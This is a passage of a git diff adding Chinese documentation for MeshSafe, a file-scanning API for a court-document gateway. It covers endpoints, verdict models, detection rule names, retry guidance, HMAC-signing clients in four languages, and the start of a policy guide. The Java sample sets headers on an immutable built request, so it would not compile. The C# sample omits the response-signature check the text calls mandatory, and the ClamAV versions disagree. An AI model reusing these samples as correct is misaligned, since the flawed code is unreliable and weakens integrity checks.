"ClamAV 1.5.4", "signature_date": "2026-10-27" }, + "policy_version": "2026.10.1", + "policy_sha256": "…", + "scanned_objects": 3, + "scanned_at": "2026-10-27T08:30:00+00:00" + } +} +``` + +**响应 200（异步受理）** + +```json +{ + "task_id": "3f8a9c2e1b7d4e6f8a0b2c4d6e8f0a1b", + "status": "pending", + "message": "任务已受理，请轮询 /api/v1/scans/{task_id} 获取结果" +} +``` + +**调用方处理建议** + +```python +result = scan(file_bytes, filename) +if result["status"] != "completed": + result = poll_until_done(result["task_id"]) + +action = result["action"] +if action == "reject": + reject_transfer(reason=result["reason"]) # 拒绝并向用户展示 reason +elif action == "manual_review": + route_to_human_review(result["task_id"]) # 转人工 +else: + allow_transfer() # pass / pass_with_flag +``` + +--- + +### 4.2 GET /api/v1/scans/{task_id} + +查询扫描结果。同步模式下该接口用于重试补查，异步模式下用于轮询。 + +**路径参数**：`task_id` —— 提交扫描时返回的任务标识。 + +**响应 200** + +结构与 `POST /api/v1/scans` 的同步响应一致。若任务尚未完成： + +```json +{ + "task_id": "…", + "status": "running", + "verdict": "pending", + "action": "pending", + "score": 0.0, + "reason": "" +} +``` + +`status` 取值：`pending` / `running` / `completed` / `failed`。 + +**响应 404**：任务不存在（同时排查 `client_id` 是否与提交时一致）。 + +--- + +### 4.3 POST /api/v1/scans/{task_id}/rescan + +使用**当前生效策略**重新扫描同一文件。 + +**用途**：策略调整后，对历史文件重新判定；或人工复核阶段需要二次深检。 + +**响应 200**：同 4.1。 + +> 若原始文件已按留存策略清理，则返回 404。 + +--- + +### 4.4 POST /api/v1/scans/{task_id}/review + +回写人工复核结论。 + +**请求体** + +```json +{ + "decision": "pass", + "comment": "经人工查验为已脱敏的内部文书，无风险" +} +``` + +| 字段 | 取值 | 说明 | +|---|---|---| +| `decision` | `pass` / `reject` | 复核结论 | +| `comment` | string | 复核说明，必填（审计要求） | + +**响应 200** + +```json +{ "task_id": "…", "decision": "pass", "recorded_at": "2026-10-27T09:00:00+00:00" } +``` + +**权限**：需 `operator` 角色。 + +--- + +### 4.5 GET /api/v1/health + +健康检查与引擎状态。 + +**响应 200** + +```json +{ + "status": "healthy", + "policy_version": "2026.10.1", + "engines": { + "clamav": { + "available": true, + "version": "ClamAV 0.105.2/27012", + "signature": "27012", + "signature_updated_at": "2026-10-26T22:00:00+00:00" + }, + "yara": { "available": true, "rules_loaded": true, "rules_dir": "/app/rules" }, + "document": { "available": true }, + "structure": { "available": true }, + "binary": { "available": true } + }, + "queue": { "pending": 0, "running": 0 }, + "server_time": "2026-10-27T08:30:00+00:00" +} +``` + +**用途**：调用方启动时自检；运维监控告警（尤其 `clamav.available = false` 或签名库超过 7 天未更新）。 + +--- + +### 4.6 GET /api/v1/policies + +查询当前生效的全局策略（只读）。 + +**响应 200**：返回完整策略 YAML 的 JSON 形式，含 `version`、`sha256`、`content`。 + +**权限**：`operator`。 + +--- + +### 4.7 POST /api/v1/policies/reload + +从策略文件重新加载策略。 + +**用途**：修改策略文件后无需重启服务。 + +**响应 200** + +```json +{ "reloaded": true, "version": "2026.10.2", "sha256": "…" } +``` + +**权限**：`operator`。 + +> 策略文件校验不通过时拒绝加载并保留原策略，响应 400 并说明校验错误原因。 + +--- + +### 4.8 GET /api/v1/audit/verify + +校验审计日志哈希链完整性。 + +**响应 200** + +```json +{ + "checked": 1000, + "intact": true, + "broken_at_id": null, + "verified_at": "2026-10-27T08:30:00+00:00" +} +``` + +**权限**：`operator`。 + +--- + +## 5. 数据模型 + +### 5.1 结论字段 + +| 字段 | 类型 | 说明 | +|---|---|---| +| `task_id` | string | 任务标识，全局唯一 | +| `verdict` | enum | 总体判定，见 §5.2 | +| `score` | float | 风险评分，0~100 | +| `action` | enum | 处置建议，见 §5.3 | +| `reason` | string | 人可读的判定理由，可直接展示给用户 | +| `status` | enum | `pending` / `running` / `completed` / `failed` | + +### 5.2 verdict 取值 + +| 值 | 含义 | +|---|---| +| `clean` | 未发现风险 | +| `suspicious` | 存在可疑信号，需要关注或人工判断 | +| `malicious` | 判定为恶意 | +| `error` | 检测过程异常（如引擎不可用），结论不可信 | +| `pending` | 尚未完成 | + +### 5.3 action 取值 + +| 值 | 含义 | 建议调用方动作 | +|---|---|---| +| `pass` | 未发现问题 | 正常放行 | +| `pass_with_flag` | 存在低风险信号 | 放行，但建议记录标记 | +| `manual_review` | 需人工判断 | **暂不放行**，转入人工复核流程 | +| `reject` | 判定不可放行 | 拒绝传输，向用户展示 `reason` | +| `pending` | 尚未裁决 | 等待异步结果 | + +> **`action` 与 `verdict` 解耦使用。** 业务逻辑请依据 `action`，`verdict` 供人查看与统计。 + +### 5.4 findings 结构 + +| 字段 | 类型 | 说明 | +|---|---|---| +| `engine` | string | 引擎名：`structure` / `extractor` / `clamav` / `document` / `yara` / `binary` | +| `layer` | string | 检测层：`L0` / `L1` / `L2` / `L2B` / `L3` | +| `severity` | enum | `info` / `low` / `medium` / `high` / `critical` | +| `rule` | string | 规则标识 | +| `detail` | string | 命中详情 | +| `extracted_path` | string | 信号来自哪个内部路径（顶层文件为空） | +| `weight` | float | 该信号的风险权重 | +| `meta` | object | 引擎附加信息 | + +### 5.5 严重度与权重对照 + +| 严重度 | 典型含义 | 权重区间 | +|---|---|---| +| `critical` | 确凿的恶意行为，自动执行、外联、路径穿越 | 50 ~ 90 | +| `high` | 高度可疑，宏调用、危险 API、高熵加壳 | 30 ~ 80 | +| `medium` | 可疑但存在合理场景，外部链接、可疑导入 | 15 ~ 45 | +| `low` | 轻微信号，仅编码字符串、无签名 | 5 ~ 20 | +| `info` | 信息性提示 | 0 | + +### 5.6 file 结构 + +| 字段 | 说明 | +|---|---| +| `sha256` / `md5` | 文件哈希，用于去重与追溯 | +| `size` | 字节数 | +| `real_type` | 内容判定的真实类型描述 | +| `real_ext` | 真实扩展名（由内容推导） | +| `declared_ext` | 文件名声明的扩展名 | +| `filename` | 原始文件名 | + +### 5.7 meta 结构 + +| 字段 | 说明 | +|---|---| +| `scan_duration_ms` | 检测耗时（毫秒） | +| `engines` | 参与的引擎列表 | +| `engine_errors` | 不可用的引擎列表，非空说明结论可能不完整 | +| `clamav` | ClamAV 版本与签名库编号 | +| `policy_version` | 判定所依据的策略版本 | +| `policy_sha256` | 策略文件哈希 | +| `scanned_objects` | 实际检测的对象数（含递归解包出的子文件） | +| `scanned_at` | 检测时间（UTC） | + +> **`meta.clamav` 与 `meta.policy_version` 建议留存**，用于检测结果的有效性举证。 + +--- + +## 6. 检测规则清单 + +以下规则命中时会出现在 `findings` 中。**规则清单公开用于解释结论，不含检测规则的具体实现内容。** + +### 6.1 L0 结构层 + +| 规则 | 严重度 | 含义 | +|---|---|---| +| `ExtensionMismatch` | high | 扩展名声明与真实内容类型不符 | +| `DoubleExtension` | high | 文件名含多个扩展名，疑似伪装 | +| `DangerousExecutableExtension` | critical / high | 文件类型为可执行或脚本 | +| `ArchiveContainsExecutable` | high | 归档内含可执行文件 | +| `ArchiveBombSuspect` | high | 压缩比异常，疑似压缩炸弹 | +| `ArchiveTooLarge` | high | 解压后体积超限 | +| `ArchiveTooManyMembers` | medium | 归档成员数量异常 | +| `PathTraversal` | critical | 归档内含路径穿越条目 | +| `PathTraversalBlocked` | critical | 已拦截路径穿越条目 | +| `ArchiveBombBlocked` | high | 已拦截高压缩比成员 | +| `ArchiveUnreadable` | medium | 归档结构损坏 | +| `ExtractDepthExceeded` | medium | 嵌套层级超限 | +| `ExtractBudgetExceeded` | medium | 解包数量或体积超限 | +| `MemberTooLarge` | medium | 成员大小超限已跳过 | + +### 6.2 L1 ClamAV 层 + +| 规则 | 严重度 | 含义 | +|---|---|---| +| `ClamAV.<签名名>` | critical / high / medium | 命中病毒库签名。签名名随病毒库更新而变化 | + +### 6.3 L2 文档深度层 + +| 规则 | 严重度 | 含义 | +|---|---|---| +| `VBAAutoExecShell` | critical | 宏含自动执行入口并调用系统命令或外联 | +| `VBAShellInvocation` | high | 宏调用 Shell / CreateObject 执行外部命令 | +| `VBAAutoExec` | high | 宏含自动执行入口 | +| `VBAExternalLink` | medium | 宏中含外部链接 | +| `VBAEncodedString` | medium | 宏中含疑似编码混淆长串 | +| `VBAMacroPresent` | low | 文档含宏，需人工确认用途 | +| `MRaptorAutoExecSuspicious` | critical | 宏具备自动执行且含可疑行为 | +| `MRaptorAutoExec` | high | 宏含自动执行入口 | +| `DDEAutoExecution` | critical | 含 DDE / DDEAUTO 自动执行字段 | +| `EmbeddedExecutable` | critical | 文档内嵌可执行对象 | +| `EmbeddedOleObject` | medium | 文档内嵌 OLE 对象 | +| `ExternalLinkReference` | high | 工作簿含外部链接部件 | +| `ExternalUri` | high | 文档含指向外部地址的链接 | +| `AttachedTemplate` | high | 关联外部模板，可能触发模板注入 | +| `DocVars` | medium | 含文档变量，可能用于隐藏载荷 | +| `EmbeddedObject` | medium | 文档内嵌对象 | +| `PdfJavaScript` | critical | PDF 含 JavaScript 动作 | +| `PdfLaunchAction` | critical | PDF 含启动外部程序动作 | +| `PdfOpenAction` | high | PDF 定义了打开时自动执行的动作 | +| `PdfExternalUri` | medium | PDF 含外部 URI | +| `PdfEmbeddedFile` | high | PDF 内嵌文件 | +| `PdfEncrypted` | medium | PDF 已加密，无法完整静态分析 | +| `SuspiciousScript` | critical / high | 脚本含下载器、编码执行、关闭防护等可疑行为 | + +### 6.4 L2B YARA 与二进制层 + +| 规则 | 严重度 | 含义 | +|---|---|---| +| `` | critical ~ low | 命中 YARA 规则 | +| `HighEntropySection` | medium | 节区熵值过高，可能加密或加壳 | +| `SuspiciousImports` | high | 导入表含高危 API | +| `UnsignedExecutable` | medium | 可执行文件未携带数字签名 | +| `SuspiciousTimestamp` | low | PE 编译时间戳异常 | +| `PeParseFailed` | medium | PE 结构解析失败 | + +--- + +## 7. 错误处理 + +### 7.1 HTTP 状态码 + +| 状态码 | 含义 | 调用方应对 | +|---|---|---| +| 200 | 成功 | 正常处理结论 | +| 400 | 请求参数错误 / 策略校验失败 | 检查请求，不要盲目重试 | +| 401 | 认证失败 | 检查签名实现与时间戳同步 | +| 403 | 权限不足 | 检查凭证角色 | +| 404 | 资源不存在 | 检查 task_id | +| 413 | 文件超限 | 缩小文件或走异步流程 | +| 429 | 触发限流 | 退避后重试，建议指数退避 | +| 500 | 服务内部错误 | 重试；持续失败则告警 | +| 503 | 服务不可用（引擎未就绪） | 退避重试 | + +### 7.2 错误响应格式 + +```json +{ + "detail": "认证失败" +} +``` + +### 7.3 重试策略建议 + +| 状态码 | 是否重试 | 建议 | +|---|---|---| +| 400 / 401 / 403 / 404 | 否 | 属调用方问题，重试无意义 | +| 413 | 否 | 需改变请求内容 | +| 429 | 是 | 退避 1s → 2s → 4s，最大 3 次 | +| 500 / 503 | 是 | 退避重试，最大 3 次；持续失败转人工 | + +> 网络超时导致的失败重试时，**必须更换 nonce 与时间戳**（见 §3.6）。 + +--- + +## 8. 接入示例 + +### 8.1 Python 完整实现 + +```python +import hashlib +import hmac +import json +import os +import time +import uuid + +import httpx + +EMPTY_SHA256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + + +def hkdf_sha256(ikm: bytes, salt: bytes, info: bytes, length: int = 32) -> bytes: + """HKDF-SHA256。RFC 5869，仅需 extract + expand 两步。""" + prk = hmac.new(salt, ikm, hashlib.sha256).digest() + okm = b"" + block = b"" + counter = 1 + while len(okm) < length: + block = hmac.new(prk, block + info + bytes([counter]), hashlib.sha256).digest() + okm += block + counter += 1 + return okm[:length] + + +def derive_key(secret: str, client_id: str, purpose: str) -> bytes: + return hkdf_sha256( + ikm=secret.encode("utf-8"), + salt=client_id.encode("utf-8"), + info=purpose.encode("utf-8"), + length=32, + ) + + +def canonical_query(params: dict) -> str: + if not params: + return "" + return "&".join(f"{k}={params[k]}" for k in sorted(params.keys())) + + +def build_multipart(file_bytes: bytes, filename: str, field_name: str = "file", + extra: dict | None = None) -> tuple[bytes, str]: + """手工构造 multipart 请求体，返回 (body_bytes, content_type)。 + + 必须手工构造，因为签名需要基于最终字节计算 body 哈希。 + """ + boundary = "----MeshSafeBoundary" + uuid.uuid4().hex + parts: list[bytes] = [] + + for key, value in (extra or {}).items(): + parts.append( + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="{key}"\r\n\r\n' + f"{value}\r\n".encode("utf-8") + ) + + safe_name = filename.replace('"', "") + parts.append( + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="{field_name}"; filename="{safe_name}"\r\n' + f"Content-Type: application/octet-stream\r\n\r\n".encode("utf-8") + ) + parts.append(file_bytes) + parts.append(f"\r\n--{boundary}--\r\n".encode("utf-8")) + + return b"".join(parts), f"multipart/form-data; boundary={boundary}" + + +def sign_headers(secret: str, client_id: str, method: str, path: str, + query: dict | None, body: bytes) -> dict: + ts = str(int(time.time())) + nonce = uuid.uuid4().hex + body_hash = hashlib.sha256(body).hexdigest() + qs = canonical_query(query or {}) + + payload = "\n".join([ + method.upper(), path, qs, body_hash, ts, nonce, client_id, + ]) + + key = derive_key(secret, client_id, "meshsafe/api/v1/request-signing") + signature = hmac.new(key, payload.encode("utf-8"), hashlib.sha256).hexdigest() + + return { + "X-MS-Client-Id": client_id, + "X-MS-Timestamp": ts, + "X-MS-Nonce": nonce, + "X-MS-Body-SHA256": body_hash, + "X-MS-Signature": signature, + } + + +def verify_response(secret: str, client_id: str, body: bytes, + timestamp: str, signature: str) -> bool: + """校验响应签名。返回 False 表示结论不可信，必须拒绝使用。""" + key = derive_key(secret, client_id, "meshsafe/api/v1/response-signing") + payload = hashlib.sha256(body).hexdigest() + timestamp + expected = hmac.new(key, payload.encode("utf-8"), hashlib.sha256).hexdigest() + return hmac.compare_digest(expected, signature) + + +class MeshSafeClient: + def __init__(self, base_url: str, client_id: str, secret: str, + verify_tls: bool = True, timeout: float = 120.0): + self.base_url = base_url.rstrip("/") + self.client_id = client_id + self.secret = secret + self._client = httpx.Client(verify=verify_tls, timeout=timeout) + + def scan(self, file_bytes: bytes, filename: str, + channel: str = "default") -> dict: + body, content_type = build_multipart( + file_bytes, filename, extra={"channel": channel} + ) + path = "/api/v1/scans" + headers = sign_headers( + self.secret, self.client_id, "POST", path, None, body + ) + headers["Content-Type"] = content_type + + resp = self._client.post( + self.base_url + path, content=body, headers=headers + ) + + # 响应验签：不可省略 + resp_ts = resp.headers.get("X-MS-Response-Timestamp", "") + resp_sig = resp.headers.get("X-MS-Response-Signature", "") + if not resp_ts or not resp_sig: + raise RuntimeError("响应缺少签名头，拒绝使用该结论") + if not verify_response( + self.secret, self.client_id, resp.content, resp_ts, resp_sig + ): + raise RuntimeError("响应签名校验失败，拒绝使用该结论") + + resp.raise_for_status() + return resp.json() + + def poll(self, task_id: str, interval: float = 2.0, timeout: float = 600.0) -> dict: + path = f"/api/v1/scans/{task_id}" + deadline = time.time() + timeout + while time.time() < deadline: + headers = sign_headers( + self.secret, self.client_id, "GET", path, None, b"" + ) + resp = self._client.get(self.base_url + path, headers=headers) + resp.raise_for_status() + data = resp.json() + if data.get("status") in {"completed", "failed"}: + return data + time.sleep(interval) + raise TimeoutError(f"任务 {task_id} 超时") + + +# 使用示例 +if __name__ == "__main__": + client = MeshSafeClient( + base_url="https://meshsafe.internal", + client_id="duandao-system-a", + secret="<你的 secret>", + ) + + with open("起诉状.docx", "rb") as fh: + data = fh.read() + + result = client.scan(data, "起诉状.docx", channel="court_docs") + + if result.get("status") != "completed": + result = client.poll(result["task_id"]) + + print(result["action"], result["reason"]) +``` + +### 8.2 Java 示例 + +```java +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.net.URI; +import java.net.http.*; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.time.Instant; +import java.util.*; +import java.util.UUID; + +public class MeshSafeClient { + + private static byte[] hkdfSha256(byte[] ikm, byte[] salt, byte[] info, int length) { + try { + Mac mac = Mac.getInstance("HmacSHA256"); + mac.init(new SecretKeySpec(salt, "HmacSHA256")); + byte[] prk = mac.doFinal(ikm); + + byte[] okm = new byte[length]; + byte[] block = new byte[0]; + int counter = 1; + int offset = 0; + while (offset < length) { + mac.init(new SecretKeySpec(prk, "HmacSHA256")); + mac.update(block); + mac.update(info); + mac.update(new byte[]{(byte) counter}); + block = mac.doFinal(); + int n = Math.min(block.length, length - offset); + System.arraycopy(block, 0, okm, offset, n); + offset += n; + counter++; + } + return okm; + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private static byte[] deriveKey(String secret, String clientId, String purpose) { + return hkdfSha256( + secret.getBytes(StandardCharsets.UTF_8), + clientId.getBytes(StandardCharsets.UTF_8), + purpose.getBytes(StandardCharsets.UTF_8), + 32); + } + + private static String sha256Hex(byte[] data) throws Exception { + MessageDigest md = MessageDigest.getInstance("SHA-256"); + return hex(md.digest(data)); + } + + private static String hex(byte[] bytes) { + StringBuilder sb = new StringBuilder(bytes.length * 2); + for (byte b : bytes) sb.append(String.format("%02x", b)); + return sb.toString(); + } + + private static String hmacHex(byte[] key, String message) throws Exception { + Mac mac = Mac.getInstance("HmacSHA256"); + mac.init(new SecretKeySpec(key, "HmacSHA256")); + return hex(mac.doFinal(message.getBytes(StandardCharsets.UTF_8))); + } + + static Map signHeaders( + String secret, String clientId, String method, String path, + String query, byte[] body) throws Exception { + + String ts = String.valueOf(Instant.now().getEpochSecond()); + String nonce = UUID.randomUUID().toString().replace("-", ""); + String bodyHash = sha256Hex(body); + + String payload = String.join("\n", + method.toUpperCase(), path, query == null ? "" : query, + bodyHash, ts, nonce, clientId); + + byte[] key = deriveKey(secret, clientId, "meshsafe/api/v1/request-signing"); + String signature = hmacHex(key, payload); + + Map headers = new HashMap<>(); + headers.put("X-MS-Client-Id", clientId); + headers.put("X-MS-Timestamp", ts); + headers.put("X-MS-Nonce", nonce); + headers.put("X-MS-Body-SHA256", bodyHash); + headers.put("X-MS-Signature", signature); + return headers; + } + + public static void main(String[] args) throws Exception { + String baseUrl = "https://meshsafe.internal"; + String clientId = "duandao-system-a"; + String secret = "<你的 secret>"; + + byte[] fileBytes = java.nio.file.Files.readAllBytes( + java.nio.file.Path.of("起诉状.docx")); + + // 手工构造 multipart + String boundary = "----MeshSafeBoundary" + UUID.randomUUID().toString().replace("-", ""); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + bos.write(("--" + boundary + "\r\n" + + "Content-Disposition: form-data; name=\"file\"; filename=\"doc.docx\"\r\n" + + "Content-Type: application/octet-stream\r\n\r\n").getBytes(StandardCharsets.UTF_8)); + bos.write(fileBytes); + bos.write(("\r\n--" + boundary + "--\r\n").getBytes(StandardCharsets.UTF_8)); + byte[] body = bos.toByteArray(); + + Map headers = signHeaders( + secret, clientId, "POST", "/api/v1/scans", "", body); + headers.put("Content-Type", "multipart/form-data; boundary=" + boundary); + + HttpClient http = HttpClient.newHttpClient(); + HttpRequest req = HttpRequest.newBuilder() + .uri(URI.create(baseUrl + "/api/v1/scans")) + .header("Content-Type", headers.get("Content-Type")) + .POST(HttpRequest.BodyPublishers.ofByteArray(body)) + .build(); + headers.forEach((k, v) -> { if (!k.equals("Content-Type")) req.headers().set(k, v); }); + + HttpResponse resp = http.send(req, HttpResponse.BodyHandlers.ofByteArray()); + System.out.println(new String(resp.body(), StandardCharsets.UTF_8)); + } +} +``` + +### 8.3 C# 示例 + +```csharp +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net.Http; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +public class MeshSafeClient +{ + private readonly string _baseUrl; + private readonly string _clientId; + private readonly string _secret; + private readonly HttpClient _http; + + public MeshSafeClient(string baseUrl, string clientId, string secret) + { + _baseUrl = baseUrl.TrimEnd('/'); + _clientId = clientId; + _secret = secret; + _http = new HttpClient(); + } + + private static byte[] HkdfSha256(byte[] ikm, byte[] salt, byte[] info, int length) + { + using var hmac = new HMACSHA256(salt); + byte[] prk = hmac.ComputeHash(ikm); + + using var expand = new HMACSHA256(prk); + var okm = new byte[length]; + byte[] block = Array.Empty(); + int counter = 1, offset = 0; + + while (offset < length) + { + var input = block.Concat(info).Concat(new[] { (byte)counter }).ToArray(); + block = expand.ComputeHash(input); + int n = Math.Min(block.Length, length - offset); + Array.Copy(block, 0, okm, offset, n); + offset += n; + counter++; + } + return okm; + } + + private byte[] DeriveKey(string purpose) => + HkdfSha256( + Encoding.UTF8.GetBytes(_secret), + Encoding.UTF8.GetBytes(_clientId), + Encoding.UTF8.GetBytes(purpose), + 32); + + private static string Sha256Hex(byte[] data) => + Convert.ToHexString(SHA256.HashData(data)).ToLowerInvariant(); + + private static string HmacHex(byte[] key, string message) + { + using var hmac = new HMACSHA256(key); + return Convert.ToHexString( + hmac.ComputeHash(Encoding.UTF8.GetBytes(message))).ToLowerInvariant(); + } + + private Dictionary SignHeaders( + string method, string path, string query, byte[] body) + { + string ts = DateTimeOffset.UtcNow.ToUnixTimeSeconds().ToString(); + string nonce = Guid.NewGuid().ToString("N"); + string bodyHash = Sha256Hex(body); + string qs = query ?? ""; + + string payload = string.Join("\n", + method.ToUpper(), path, qs, bodyHash, ts, nonce, _clientId); + + string signature = HmacHex( + DeriveKey("meshsafe/api/v1/request-signing"), payload); + + return new Dictionary + { + ["X-MS-Client-Id"] = _clientId, + ["X-MS-Timestamp"] = ts, + ["X-MS-Nonce"] = nonce, + ["X-MS-Body-SHA256"] = bodyHash, + ["X-MS-Signature"] = signature, + }; + } + + public async Task ScanAsync(byte[] fileBytes, string filename) + { + string boundary = "----MeshSafeBoundary" + Guid.NewGuid().ToString("N"); + using var ms = new MemoryStream(); + var head = Encoding.UTF8.GetBytes( + $"--{boundary}\r\n" + + $"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}\"\r\n" + + "Content-Type: application/octet-stream\r\n\r\n"); + ms.Write(head); + ms.Write(fileBytes); + ms.Write(Encoding.UTF8.GetBytes($"\r\n--{boundary}--\r\n")); + byte[] body = ms.ToArray(); + + var headers = SignHeaders("POST", "/api/v1/scans", "", body); + + using var req = new HttpRequestMessage(HttpMethod.Post, $"{_baseUrl}/api/v1/scans"); + req.Content = new ByteArrayContent(body); + req.Content.Headers.TryAddWithoutValidation( + "Content-Type", $"multipart/form-data; boundary={boundary}"); + foreach (var kv in headers) + req.Headers.TryAddWithoutValidation(kv.Key, kv.Value); + + var resp = await _http.SendAsync(req); + resp.EnsureSuccessStatusCode(); + return await resp.Content.ReadAsStringAsync(); + } +} +``` + +### 8.4 Go 示例 + +```go +package meshsafe + +import ( + "bytes" + "crypto/hmac" + "crypto/sha256" + "encoding/hex" + "fmt" + "io" + "net/http" + "net/textproto" + "sort" + "strings" + "time" +) + +// hkdfSHA256 实现 RFC 5869 的 HKDF-SHA256。 +func hkdfSHA256(ikm, salt, info []byte, length int) []byte { + extractor := hmac.New(sha256.New, salt) + extractor.Write(ikm) + prk := extractor.Sum(nil) + + var okm []byte + var block []byte + for counter := byte(1); len(okm) < length; counter++ { + h := hmac.New(sha256.New, prk) + h.Write(block) + h.Write(info) + h.Write([]byte{counter}) + block = h.Sum(nil) + okm = append(okm, block...) + } + return okm[:length] +} + +func deriveKey(secret, clientID, purpose string) []byte { + return hkdfSHA256( + []byte(secret), + []byte(clientID), + []byte(purpose), + 32, + ) +} + +func sha256Hex(data []byte) string { + sum := sha256.Sum256(data) + return hex.EncodeToString(sum[:]) +} + +func hmacHex(key []byte, message string) string { + mac := hmac.New(sha256.New, key) + mac.Write([]byte(message)) + return hex.EncodeToString(mac.Sum(nil)) +} + +// SignHeaders 生成请求签名头。 +func SignHeaders(secret, clientID, method, path, query string, body []byte) map[string]string { + ts := fmt.Sprintf("%d", time.Now().Unix()) + nonce := fmt.Sprintf("%032x", time.Now().UnixNano()) + + bodyHash := sha256Hex(body) + + payload := strings.Join([]string{ + strings.ToUpper(method), path, query, bodyHash, ts, nonce, clientID, + }, "\n") + + signature := hmacHex( + deriveKey(secret, clientID, "meshsafe/api/v1/request-signing"), + payload, + ) + + return map[string]string{ + "X-MS-Client-Id": clientID, + "X-MS-Timestamp": ts, + "X-MS-Nonce": nonce, + "X-MS-Body-SHA256": bodyHash, + "X-MS-Signature": signature, + } +} + +// Scan 提交文件扫描。 +func Scan(baseURL, clientID, secret string, fileName string, fileBytes []byte) ([]byte, error) { + var buf bytes.Buffer + boundary := "----MeshSafeBoundary" + fmt.Sprintf("%032x", time.Now().UnixNano()) + + buf.WriteString("--" + boundary + "\r\n") + buf.WriteString("Content-Disposition: form-data; name=\"file\"; filename=\"" + fileName + "\"\r\n") + buf.WriteString("Content-Type: application/octet-stream\r\n\r\n") + buf.Write(fileBytes) + buf.WriteString("\r\n--" + boundary + "--\r\n") + + body := buf.Bytes() + path := "/api/v1/scans" + + headers := SignHeaders(secret, clientID, "POST", path, "", body) + + req, err := http.NewRequest(http.MethodPost, baseURL+path, bytes.NewReader(body)) + if err != nil { + return nil, err + } + req.Header.Set("Content-Type", "multipart/form-data; boundary="+boundary) + for k, v := range headers { + req.Header.Set(k, v) + } + + resp, err := http.DefaultClient.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + + // 响应验签 + if ts := resp.Header.Get("X-MS-Response-Timestamp"); ts != "" { + sig := resp.Header.Get("X-MS-Response-Signature") + expected := hmacHex( + deriveKey(secret, clientID, "meshsafe/api/v1/response-signing"), + sha256Hex(respBody)+ts, + ) + if !hmac.Equal([]byte(expected), []byte(sig)) { + return nil, fmt.Errorf("响应签名校验失败") + } + } + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("接口返回 %d: %s", resp.StatusCode, string(respBody)) + } + return respBody, nil +} + +// canonicalQuery 按 key 升序生成查询串，供 GET 请求签名使用。 +func canonicalQuery(params map[string]string) string { + if len(params) == 0 { + return "" + } + keys := make([]string, 0, len(params)) + for k := range params { + keys = append(keys, k) + } + sort.Strings(keys) + parts := make([]string, 0, len(keys)) + for _, k := range keys { + parts = append(parts, k+"="+params[k]) + } + return strings.Join(parts, "&") +} + +var _ = textproto.MIMEHeader{} +``` + +--- + +## 9. 附录 + +### 9.1 快速排查清单 + +对接出现问题时，按此顺序检查： + +| # | 检查项 | 常见错误 | +|---|---|---| +| 1 | 系统时钟同步 | 服务器与调用方时钟偏差超过 300 秒 | +| 2 | 签名密钥派生 | 直接用 `secret` 做 HMAC 密钥，未做 HKDF 派生 | +| 3 | 待签名串顺序 | 各部分顺序或分隔符不符 | +| 4 | 换行符 | 使用了 `\r\n` 而非 `\n` | +| 5 | 十六进制大小写 | 输出了大写 hex | +| 6 | body 哈希 | 用 `files=` 自动构造 multipart，未基于最终字节计算 | +| 7 | nonce 复用 | 重试时沿用了同一个 nonce | +| 8 | PATH 取值 | 包含了域名或查询串 | +| 9 | 响应验签 | 验签时用了请求签名密钥而非响应签名密钥 | +| 10 | 密钥编码 | secret 前后有多余空格 | + +### 9.2 术语 + +| 术语 | 说明 | +|---|---| +| 摆渡 | 通过光闸在内外网之间传输文件 | +| 结论文本 | 一次检测的最终判定结果 | +| findings | 一次检测中命中的全部信号明细 | +| verdict | 总体判定（clean / suspicious / malicious / error） | +| action | 处置建议（pass / pass_with_flag / manual_review / reject） | +| 幂等 | 同一文件哈希与同一策略版本只检测一次，重复请求直接复用结果 | + +### 9.3 联系方式 + +| 事项 | 联系 | +|---|---| +| 凭证申请与轮换 | 系统管理员 | +| 策略调整 | 安全管理员 | +| 接口异常与故障 | 运维值班 | + +--- + +**文档结束** · 配套文档：《策略配置说明》《等保三级对照表》《运维手册》 diff --git a/docs/策略配置说明.md b/docs/策略配置说明.md new file mode 100644 index 0000000..85abdb7 --- /dev/null +++ b/docs/策略配置说明.md @@ -0,0 +1,459 @@ +# MeshSafe 策略配置说明 + +| 项目 | 内容 | +|---|---| +| 适用对象 | 安全管理员、系统管理员 | +| 配置文件 | `config/policy.yaml` | +| 生效方式 | 修改后调用 `POST /api/v1/policies/reload` 或重启服务 | +| 文档版本 | v1.0 | + +--- + +## 目录 + +1. [配置总览](#1-配置总览) +2. [字段详解](#2-字段详解) +3. [裁决流程](#3-裁决流程) +4. [调整场景手册](#4-调整场景手册) +5. [校验与错误处理](#5-校验与错误处理) +6. [变更管理](#6-变更管理) + +--- + +## 1. 配置总览 + +策略文件采用 YAML 格式，路径由环境变量 `MESHSAFE_POLICY_FILE` 指定（默认 `/app/config/policy.yaml`）。 + +**核心原则：策略与代码分离。** 调整判定规则、阈值、白名单只需修改本文件，不需要重新构建或发布镜像。 + +```yaml +version: "2026.10.1" +description: "MeshSafe 默认全局策略（法院文书摆渡场景）" + +global: + block_score: 70 + review_score: [30, 70] + engine_failure_mode: fail_closed + max_file_size: 52428800 + sync_max_size: 52428800 + allow_encrypted_archive: false + allow_encrypted_document: false + +allowed_extensions: [ ... ] +sandbox_required_extensions: [ ... ] +rule_overrides: { ... } +notification: { ... } +audit: { ... } +``` + +### 顶层结构 + +| 键 | 类型 | 必填 | 说明 | +|---|---|---|---| +| `version` | string | 是 | 策略版本号，建议用日期格式。写入每条扫描结果 | +| `description` | string | 否 | 策略说明 | +| `global` | map | 是 | 全局阈值与行为开关 | +| `allowed_extensions` | list | 是 | 允许传输的扩展名白名单 | +| `sandbox_required_extensions` | list | 否 | 强制走沙箱深检的类型 | +| `rule_overrides` | map | 否 | 特定规则的强制处置 | +| `notification` | map | 否 | 判定理由的输出控制 | +| `audit` | map | 否 | 审计记录内容控制 | + +--- + +## 2. 字段详解 + +### 2.1 global + +#### 2.1.1 `block_score` + +| 项 | 说明 | +|---|---| +| 类型 | 整数，0~100 | +| 默认 | `70` | +| 含义 | 风险评分 